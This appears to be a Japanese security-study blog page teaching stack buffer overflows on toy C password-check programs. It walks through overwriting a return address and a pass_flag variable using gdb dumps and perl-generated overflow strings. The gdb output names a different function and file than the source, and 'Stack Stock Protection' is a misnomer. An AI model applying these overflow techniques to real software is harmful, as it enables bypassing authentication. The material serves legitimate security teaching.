ごろねこの勉強部屋

主にセキュリティ、機械学習、それらにまつわる数学について書きます。

スタックオーバーフローを利用した戻りアドレスの書き換え

スタックオーバーフローとは?

スタックオーバーフローについての説明は過去の記事を参考にしてください。
jazzycat.hatenablog.com

今回はスタックオーバーフローを用いて戻りアドレスを書き換え、自由なアドレスにアクセスしてみます。

単純な書き換え例

戻りアドレスの書き換えとはどんなものなのか、実際に書き換えてみます。次のプログラムを見てください。

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>

int check_password(char *password) { 
   int pass_flag = 0; 
   char password_buffer[16];

   strcpy(password_buffer, password);

   if(strcmp(password_buffer, "neko") == 0) 
      pass_flag = 1;
   if(strcmp(password_buffer, "gorogoro") == 0) 
      pass_flag = 1;

   return 0;
}

int main(int argc, char *argv[]) { 
   if(argc < 2) {
      printf("使用方法: %s <パスワード>\n", argv[0]); 
      exit(0);
   }
   if(check_password(argv[1])) {
      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");   //この部分に戻りアドレスを設定する
      printf("   アクセスを許可します。\n");
      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
   } else { 
      printf("\nアクセスを拒否しました。\n");
   }
}

上のコードはcheck_password関数の返り値が0で固定されているので、変数の値をスタックオーバーフローによって書き換えても意味がありません。そこで、check_password関数の戻りアドレスを書き換えてアクセスを許可させてみます。
上のコードのコメントアウトしている部分のアドレスを調べ、check_password()関数の戻りアドレスをそのアドレスで書き換えることで、if文の条件分岐を無視してそのままアクセスを許可させることができます。まずは、コメントアウトしている部分の戻りアドレスを調べてみます。

goroneko@NEKO:~/$ gdb -q a.out
(gdb) disass main
Dump of assembler code for function main:
0x08048476 <main+0>:    push   %ebp
0x08048477 <main+1>:    mov    %esp,%ebp
0x08048479 <main+3>:    sub    $0x8,%esp
0x0804847c <main+6>:    and    $0xfffffff0,%esp
0x0804847f <main+9>:    mov    $0x0,%eax
0x08048484 <main+14>:   sub    %eax,%esp
0x08048486 <main+16>:   cmpl   $0x1,0x8(%ebp)
0x0804848a <main+20>:   jg     0x80484ad <main+55>
0x0804848c <main+22>:   mov    0xc(%ebp),%eax
0x0804848f <main+25>:   mov    (%eax),%eax
0x08048491 <main+27>:   mov    %eax,0x4(%esp)
0x08048495 <main+31>:   movl   $0x80485e5,(%esp)
0x0804849c <main+38>:   call   0x804831c <printf@plt>
0x080484a1 <main+43>:   movl   $0x0,(%esp)
0x080484a8 <main+50>:   call   0x804833c <exit@plt>
0x080484ad <main+55>:   mov    0xc(%ebp),%eax
0x080484b0 <main+58>:   add    $0x4,%eax
0x080484b3 <main+61>:   mov    (%eax),%eax
0x080484b5 <main+63>:   mov    %eax,(%esp)
0x080484b8 <main+66>:   call   0x8048414 <check_authentication>
0x080484bd <main+71>:   test   %eax,%eax
0x080484bf <main+73>:   je     0x80484e7 <main+113>
---Type <return> to continue, or q <return> to quit---
0x080484c1 <main+75>:   movl   $0x80485fb,(%esp)
0x080484c8 <main+82>:   call   0x804831c <printf@plt>
0x080484cd <main+87>:   movl   $0x8048619,(%esp)
0x080484d4 <main+94>:   call   0x804831c <printf@plt>
0x080484d9 <main+99>:   movl   $0x8048630,(%esp)
0x080484e0 <main+106>:  call   0x804831c <printf@plt>
0x080484e5 <main+111>:  jmp    0x80484f3 <main+125>
0x080484e7 <main+113>:  movl   $0x804864d,(%esp)
0x080484ee <main+120>:  call   0x804831c <printf@plt>
0x080484f3 <main+125>:  leave  
0x080484f4 <main+126>:  ret    
End of assembler dump.

disassコマンドでメイン関数のアセンブリコードを表示しました。では、どこが探している部分なのでしょうか。この程度の長さのコードならすべてを追っていくこともできますが、だいたいのあたりを付けて探したほうが効率がよさそうです。探したい場所は、if文の次の命令です。そのため、ジャンプ命令の次の命令であると考えられます。また、探したい部分はprintf関数を呼び出しているので、call命令が近くにあると考えられます。よって、探したい部分は、ジャンプ命令の近くにcall命令がある部分であると考えられます。main + 75の部分を見てください。その条件が満たされています。また、近くに何回もcall命令があるので、何回も関数を呼び出していると考えられ、探したい部分は何回もprintf関数を呼び出しているので、この部分で間違いなさそうです。
以上のことから、上書きする戻りアドレスは0x080484c1とわかります。
では、この戻りアドレスをどこに書き込めばよいのでしょうか。適当なものをコマンドライン引数に与えてプログラムを実行し、スタック上のどこに戻りアドレスが書き込まれているか調べてみます。desassコマンドで表示したアセンブリコードから、戻りアドレスは0x080484bdであることがわかります(check_password関数を呼び出すcall命令がmain + 66の部分のため)。コマンドライン引数にA(ASCIIコードでは0x41)を4つ与えたときのcheck_password関数のスタックフレームの様子を見てみます。

(gdb) r AAAA
Starting program: /a.out AAAA

Breakpoint 1, check_authentication (password=0xbffff9e6 "AAAA")
    at auth_overflow.c:16
16              return 0;
(gdb) x/32xw $esp
0xbffff7c0:     0xbffff7d0      0x080485dc      0xbffff7d8      0x080482d9
0xbffff7d0:     0x41414141      0xb7fd6f00      0xbffff808      0x08048529
0xbffff7e0:     0xb7fd6ff4      0xbffff8a0      0xbffff808      0x00000000
0xbffff7f0:     0xb7ff47b0      0x08048510      0xbffff808      0x080484bd
0xbffff800:     0xbffff9e6      0x08048510      0xbffff868      0xb7eafebc
0xbffff810:     0x00000002      0xbffff894      0xbffff8a0      0xb8001898
0xbffff820:     0x00000000      0x00000001      0x00000001      0x00000000
0xbffff830:     0xb7fd6ff4      0xb8000ce0      0x00000000      0xbffff868

戻りアドレスの0x080484bdがメモリのアドレス0xbffff7fcに書き込まれています。また、コマンドライン引数で指定したAAAAはメモリのアドレス0xbffff7d0に書き込まれています。この差は44なので、password_bufferの先頭から44バイト先に戻りアドレスが書き込まれていることがわかります。アドレスは4バイトなので、12回指定したいアドレスを書き込めばそのアドレスがcheck_password関数の戻りアドレスを上書きし、そのアドレスにある命令を実行させることができます。図にすると以下のようになります。

実行した結果は以下のとおりです。

(gdb) r $(perl -e 'print "\xc1\x84\x04\x08" x 12;')

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Segmentation fault (コアダンプ)

このように戻りアドレスを書き換えることで、通常分岐しないはずの部分に分岐して実行できるようになります。

スタックオーバーフローについて

スタックオーバーフローとは?

本来データが書き込まれる領域を超えてデータが書き込まれるバッファオーバーフローの一種です。スタックで起こるバッファオーバーフローをスタックオーバーフローといいます。スタックオーバーフローが起こると、そのプログラムの作成者が意図しない動作が起きる可能性があります。今回紹介する例は、スタックオーバーフローを利用して本来書き換えられないはずの変数の値を書き換えます。

サンプルソースコード

では実際にスタックオーバーフローを起こしてみます。下のソースコードを見てください。

#include<stdio.h>

int main(){
     char input[5];
     char hello[5] = "HELLO";
     scanf("%s",input);
     printf("input = %s address is %p, hello = %s address is %p\n ",input,input,hello,hello);
}

このCプログラムは、配列inputに標準入力(キーボードからの入力)を入れて、元から中身が入っていて変更できない配列helloと一緒に中身とアドレスを出力します。スタックオーバーフローを知らない人が見ればこのプログラムの配列helloの中身は変更できないように思えますが、実際には変更することができます。まずは、スタックオーバーフローを起こさずに普通に実行してみます。

goroneko@NEKO:~$ ./a.out
neko
input = neko address is 0x7ffff4e7721e, hello = HELLO address is 0x7ffff4e77223

上の実行結果をまずは分析していきます。配列inputの先頭アドレスは0x7ffff4e7721eです(長いので下三桁だけこれからは書きます)。配列helloの先頭アドレスは223です。このアドレス差は5です。inputは要素数5で宣言しているので当然ですね。では、次はスタックオーバーフローを起こした結果を見てみましょう。

 goroneko@NEKO:~$ ./a.out
nekoneko
input = nekoneko address is 0x7fffc5c1d0ee, hello = eko address is 0x7fffc5c1d0f3

先ほどのアドレスと違うアドレスが表示されているのは、プログラムが実行されるたびにプログラムはランダムなメモリ領域に配置されるためです。今回は配列inputが持つ要素数5よりも多い8文字を格納してみました。するとどうでしょうか、配列helloの中身がekoになっていますね。これがなぜなのか、わかりやすいように図にしてみました。

標準入力を受け付けた後、配列周りのメモリはこのようになっています。printf関数で使っている%sはNULLを読み込むまで引数で指定されたアドレスから順番に読んでいくので、配列inputの出力はnekonekoになり、配列helloの出力はekoになります。
ちなみに、配列inputにちょうど5文字入れると、NULL文字が配列helloの一文字目になります。そのため、

goroneko@NEKO:~$ ./a.out
nekoo
input = nekoo address is 0x7fffdfe8fb0e, hello =  address is 0x7fffdfe8fb13

出力はこのようになります。実際はhelloの中にELLOだけ残っているのですが(HはNULL文字で上書きされた)、%sは渡されたアドレスからNULL文字までを読むので、配列helloの出力は何も見えません(いきなりNULLが読まれたため)。

もう少し現実的な例

ここまでの例はあくまでスタックオーバーフローのわかりやすい例のためのものだったので、「だからなんやねん」となっている人もいると思います。もう少し現実的な例で、スタックオーバーフローの威力を見ていきたいと思います。
下のソースコードを見てください。

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>

int check_password(char *password) { 
   int pass_flag = 0; 
   char password_buffer[16];

   strcpy(password_buffer, password);

   if(strcmp(password_buffer, "neko") == 0) 
      pass_flag = 1;
   if(strcmp(password_buffer, "gorogoro") == 0) 
      pass_flag = 1;

   return pass_flag;
}

int main(int argc, char *argv[]) { 
   if(argc < 2) {
      printf("使用方法: %s <パスワード>\n", argv[0]); 
      exit(0);
   }
   if(check_password(argv[1])) {
      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 
      printf("   アクセスを許可します。\n"); 
      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
   } else { 
      printf("\nアクセスを拒否しました。\n");
   }
}

正しいパスワードをコマンドライン引数で入力したときだけアクセスを許可するプログラムです。まずは、スタックオーバーフローを起こさずに実行してみます。

goroneko@NEKO:~$ ./a.out inu

アクセスを拒否しました。
goroneko@NEKO:~$ ./a.out neko

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
goroneko@NEKO:~/$ ./a.out gorogoro

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-

このように、決められたパスワード(nekoとgorogoro)をコマンドライン引数にしたときだけアクセスが許可されます。では、スタックオーバーフローを起こすとどうなるのでしょうか。ソースコードを見てください。アクセスを許可するか否かは、pass_flagの値によって決まっています。pass_flagの値が0以外の時(if文は引数が0の時に偽、それ以外は真を返す)、アクセスが許可され、その他の時は許可されません。今回の例では、このpass_flagの値を0以外に書き換えることで、パスワードを知らなくてもアクセス許可が得られることを示していきます。
最初の例のように考えると、配列password_bufferは要素数16なので、17文字目に0以外を入れれば書き換えられるように思うと思います。しかしここで注意してほしいのが、char型とint型のバイト数の違いです。char型は1バイト、int型は4バイトをメモリ上に確保します。このことを考慮して、どのようにすればpass_flagに0以外を入れられるでしょうか?

最初の例と同じようにやってみる

最初の例では、要素数5の配列inputの中に8文字のnekonekoを入れることで、要素数5の配列helloの中身をekoに書き換えました(実際はe,k,o,NULL,Oになっているが、%sの性質上ekoと出力された)。これと同様に考えるなら、要素数16の配列password_bufferに、17文字以上の文字を入れれば書き換えられそうです。ただし、先ほども言った通り型によって確保されるバイト数が異なるので、17文字目から20文字目がpass_flagの領域であると考えられます(charは1バイト、intは4バイトのため)。pass_flagの中身は0以外になればよいので、今回はAに書き換えてみます。

goroneko@NEKO:~/$ ./a.out $(perl -e 'print "A" x 20;')

アクセスを拒否しました。

$(perl -e 'print "A" x 20;')は、Aを20回出力します。Aを20回出力して、pass_flagの値を0以外に書き換えたはずですが、アクセスが拒否されました。いったいなぜこのような結果になったのでしょうか。GDBデバッガを用いて原因を調べてみます。

(gdb) b 16
Breakpoint 1 at 0x80007cc: file overflow.c, line 16.
(gdb) r $(perl -e 'print "A" x 20;')
Starting program: /a.out $(perl -e 'print "A" x 20;')

Breakpoint 1, check_password (password=0x7ffffffee263 'A' <repeats 20 times>) at overflow.c:16
16         return pass_flag;
(gdb) x/32x $rsp
0x7ffffffeded0: 0xfffedf38      0x00007fff      0xfffee263      0x00007fff
0x7ffffffedee0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffffffedef0: 0x41414141      0x00007f00      0x00000000      0x00000000
0x7ffffffedf00: 0xfffedf20      0x00007fff      0x0800081e      0x00000000
0x7ffffffedf10: 0xfffee008      0x00007fff      0x00000000      0x00000002
0x7ffffffedf20: 0x08000860      0x00000000      0xff021b97      0x00007fff
0x7ffffffedf30: 0x00000002      0x00000000      0xfffee008      0x00007fff
0x7ffffffedf40: 0x00008000      0x00000002      0x080007d1      0x00000000
(gdb) x/x &pass_flag
0x7ffffffedefc: 0x00000000
(gdb) x/x password_buffer
0x7ffffffedee0: 0x41414141
(gdb) p 0x7ffffffedefc - 0x7ffffffedee0
$1 = 28

check_password関数のリターン直前にブレークポイントを設定し、メモリの中身を表示しました。GDBデバッガによれば、pass_flagのアドレスは0x7ffffffedefc、password_bufferのアドレスは0x7ffffffedee0です。このアドレス差は28なので、Aを20文字入力してもpass_flagの値は0のまま変わりません。スタックポインタrspの周りのメモリの中身を見てみると、0x7ffffffedee0から0x7ffffffedef3までAが格納されていることがわかります。(アドレス表記についてよくわからないという人は、記事の最後に補足しているのでそちらをご覧ください。)
メモリの中身を見てみると、password_bufferの領域からpass_flagまでは余分なデータが12バイト格納されていることがわかります。これは単なるパディング(詰め物)で、コンパイラによって挿入されるものです。
では次に、アドレス差を考慮して29文字Aを入力してみます。

(gdb) r $(perl -e 'print "A" x 29;')
Starting program: /a.out $(perl -e 'print "A" x 29;')

Breakpoint 1, check_password (password=0x7ffffffee263 'A' <repeats 29 times>) at overflow.c:16
16         return pass_flag;
(gdb) x/x &pass_flag
0x7ffffffedefc: 0x00000041
(gdb) x/x password_buffer
0x7ffffffedee0: 0x41414141
(gdb) x/32xw $rsp
0x7ffffffeded0: 0xfffedf38      0x00007fff      0xfffee263      0x00007fff
0x7ffffffedee0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffffffedef0: 0x41414141      0x41414141      0x41414141      0x00000041
0x7ffffffedf00: 0xfffedf20      0x00007fff      0x0800081e      0x00000000
0x7ffffffedf10: 0xfffee008      0x00007fff      0x00000000      0x00000002
0x7ffffffedf20: 0x08000860      0x00000000      0xff021b97      0x00007fff
0x7ffffffedf30: 0x00000002      0x00000000      0xfffee008      0x00007fff
0x7ffffffedf40: 0x00008000      0x00000002      0x080007d1      0x00000000
(gdb) c
Continuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-

これで無事pass_flagの値を書き換えることができました。

おわりに

いかがでしたでしょうか。今回紹介したスタックオーバーフローは、現在はコンパイラによって回避されます。今回は-fno-stack-protectorオプションを用いてgccコンパイラコンパイルして、OSのSSP(Stack Stock Protection)機能をオフにしました。実際に試す場合は、これらのオプションを指定して仮想環境で試してください。

補足:アドレスについて

メモリアドレッシングには、ワードアドレッシングとバイトアドレッシングがあります。バイトアドレッシングは1バイトごとにメモリアドレスが1増加しますが、ワードアドレッシングは4バイトごとにアドレスが1増加します。今回実行したコンピュータのメモリは8ビットごとにアドレスが割り振られているので、バイトアドレッシングが用いられています。詳しくはまた別の記事で書こうかと思います。